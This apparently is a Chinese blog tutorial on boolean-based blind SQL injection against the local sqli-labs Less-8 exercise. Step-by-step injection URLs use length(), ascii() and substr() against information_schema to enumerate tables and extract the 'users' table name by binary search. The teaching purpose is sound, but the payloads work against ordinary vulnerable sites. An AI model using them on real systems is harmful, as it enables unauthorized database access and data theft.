在上一期教程中我们学习了基于报错的注入,或者准确地说是GET型基于报错的注入。相信大家也看出来了,这种注入是非常简单的,意味着这种漏洞是非常低级的。我们所见到的大多数网站中都不会出现如此低级的SQL注入漏洞。更多时候页面是不会回显报错语句的,这时候事情就变复杂了。我们无法直接看到报错语句,就需要通过估计不同的查询结果是TRUE还是FALSE来判断某个数据库是否能够注入,这就是盲注!
布尔盲注原理
之所以叫盲注,是因为我们在注入的过程中不会看到后端的错误返回语句。此时,如果我们执行的语句返回值为1,页面的显示是一种模样,如果为0,那么页面的显示是另一种模样。利用这样的特性,我们可以在SQL语句中加入逻辑表达式、关系表达式,不断试错,从而理论上能够解得我们所需要的数据,这和猜解密码有点相似。
判断数据库是否能被布尔盲注
依然,我们首先打开PHPstudy面板,启动WAMP。
在浏览器地址栏输入http://localhost/sqli/Less-8/?id=1进入Lesson8(按照你的端口号、目录名等修改)。
猜测对应的后端SQL语句为:
1 | select * from table_name where id=1 |
此时页面显示如下:
接着我们尝试破坏查询,在地址栏输入
1 | http://localhost/sqli/Less-8/?id=1' |
猜测对应的后端SQL语句为:
1 | select * from table_name where id=1' |
发现页面显示如下:
观察上图我们可以发现,You are in...
这段话不见了,说明这段查询语句是有问题的,即我们破坏查询成功了。但是页面没有回显报错信息,说明我们之前用的显注方法失效了。这时我们便要用到布尔盲注了。
接着我们就继续判断我们传入的参数在后端是如何被封装的。
在地址栏输入
1 | http://localhost:81/sqli/Less-8/?id=1' and 1=1 --+ |
发现那段文字You are in...
(后文称提示文字)又重新出现了,这证明:(i)参数是由单引号封装的;(ii)后端对1=1进行了判断并返回TRUE,可以进行布尔盲注。
因此推翻之前的SQL语句猜测,此处后端SQL语句形如:
1 | select * from table_name where id='1' and 1=1 --+' |
布尔盲注思路
确认能够进行布尔盲注后,我们需要想办法获取我们想要的数据。通常会编写脚本来自动进行布尔盲注,但本文重点在于厘清布尔盲注的原理和实现路线,因此采用手动注入的方法。
首先,我们需要知道当前数据库有哪些表、各自的名称,并判断哪些表含有重要信息;接着,我们需要知道表里有哪些字段、各自的名称,并判断哪些字段含有重要信息;最后我们获取到相应字段对应的每一条记录。
这个由大及小的思路与之前的盲注并无差别,唯一不同的是这次我们不会直接看到查询的结果,而需要通过逻辑表达式和关系表达式是否返回为TRUE来猜解我们想要得到的信息。在布尔盲注的过程中,由于表中数据的不确定性,如果我们想要通过枚举出查询结果所有可能的值,这个工作量是非常大的。因此,我的方法是先确定数据库中表的数量,再确定每一个表的名称。确定表名时,先得到查询结果的字符串长度区间,再确定字符串长度,先确定每一个字符的ASCII码区间,再确定每一个字符的确切ASCII码。如果你有点迷糊了,没有关系,请接着往下看。
确定数据库中表的数量
我采用的方法是:让后端判断第n个表的字符串长度是否大于0,如果提示文字出现,则证明数据库有第n个表,否则证明数据库中最多有n-1个表。
在地址栏输入
1 | http://localhost/sqli/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) > 0 --+ |
后端SQL语句形如:
1 | select * from table_name where id='1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) > 0 --+' |
这段语句的意思为:从数据库的表名中查询id=’1’的所有字段并且当前数据库中的第4个表名字符串长度大于0。其中length()函数作用是取查询结果的字符串长度,用法为length(字符串)。如果你忘了这句语句中其他地方的含义,请见上一章。
结果,页面显示了提示文字。表明当前数据库至少有4张表。
接着我们将地址栏中的字符改为
1 | http://localhost/sqli/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 4,1))) > 0 --+ |
作用是判断第5个表的字符串长度是否大于0,换言之,第5张表是否存在。
结果发现页面并没有显示提示文字。
由此,我们得到结论:当前数据库中有且仅有4张表。
确定表名的字符串长度
我们首先确定第一张表的字符串长度,用到的方法与上一小节类似。
在地址栏输入
1 | http://localhost/sqli/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+ |
作用是判断第一张表表名的字符串长度是否大于5。
结果页面显示提示文字,证明第一张表表名的字符串长度大于5。
接着我们将5改成6,发现页面不显示提示文字了。答案也就出来了,第一张表表名的字符串长度为6。用同样的方法我们也可以获取其他表名的字符串长度。
确定表名的每一个字符所对应的ASCII码值
在确定了每张表表名的字符串长度之后,我们就需要确定其每一个字符的具体值。但是表名有可能是字母、数字、标点符号、操作符、特殊字符等,倘若我们一个个尝试,效率会很低。因此我们会想到用ASCII码值来判断字符的具体值。每一个ASCII码对应一个字符,主要对应关系如下图:
我们这里以第四张表为例(问就是第四张表重要),在地址栏输入
1 | http://localhost/sqli/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 96 --+ |
其中,substr()函数作用为截取字符串中指定位置开始的指定个字符,用法为:substr(字符串,起始位置,截取长度),起始位置从1开始。ascii()函数作用为取字符的ASCII码值,用法为ascii(字符)。因此上述语句作用为判断第4张表表名的第一个字符ASCII码值是否大于96。
结果发现页面显示提示文字,证明第4张表表名的第一个字符ASCII码值大于96,因此很大概率它是一个小写的英文字母。可以将> 96
改为< 123
尝试一下,发现的确如此。
接着可以采用二分法来确定该字符的具体值。将< 123
改为> 110
发现页面显示提示文字,因此将111和122作为两个端点继续划分。将> 110
改为< 117
发现页面不显示提示文字。因此可以确定该字符为u,v,w,x,y,z中的一个,继续二分法或者枚举都可以得到:该字符为u。
利用同样的方法,我们猜解得到第四张表的表名为users。同样地,我们也能够猜解出其他表名。
确定表中字段数
与确定数据库中表数量的方法一致,只需将table_name
替换为column_name
,information_schema.tables
替换为information_schema.columns
,table_schema=database()
替换为table_name='users'
即可。如:
1 | http://localhost/sqli/Less-8/?id=1' and (length((select column_name from information_schema.columns where table_name='users' limit 3,1))) > 0 --+ |
发现页面显示提示文字,证明users表中至少有4个字段。利用和上文一样的方法,最终可以知道users表中有6个字段。
后续
确定字段的字符串长度,确定字段的每个字符具体值;确定记录数,确定记录的字符串长度,确定记录的每个字符具体值。方法与前文完全一致。有兴趣的小伙伴可以尝试一下继续手动猜解。
结语
本文主要目的是为读者厘清布尔盲注的原理和思路,实际上,手动进行布尔盲注效率十分低下,几乎用不到。但如果时间充裕,可以感受一下手动进行布尔盲注的过程,私以为这有助于更清晰地认识布尔盲注。
条评论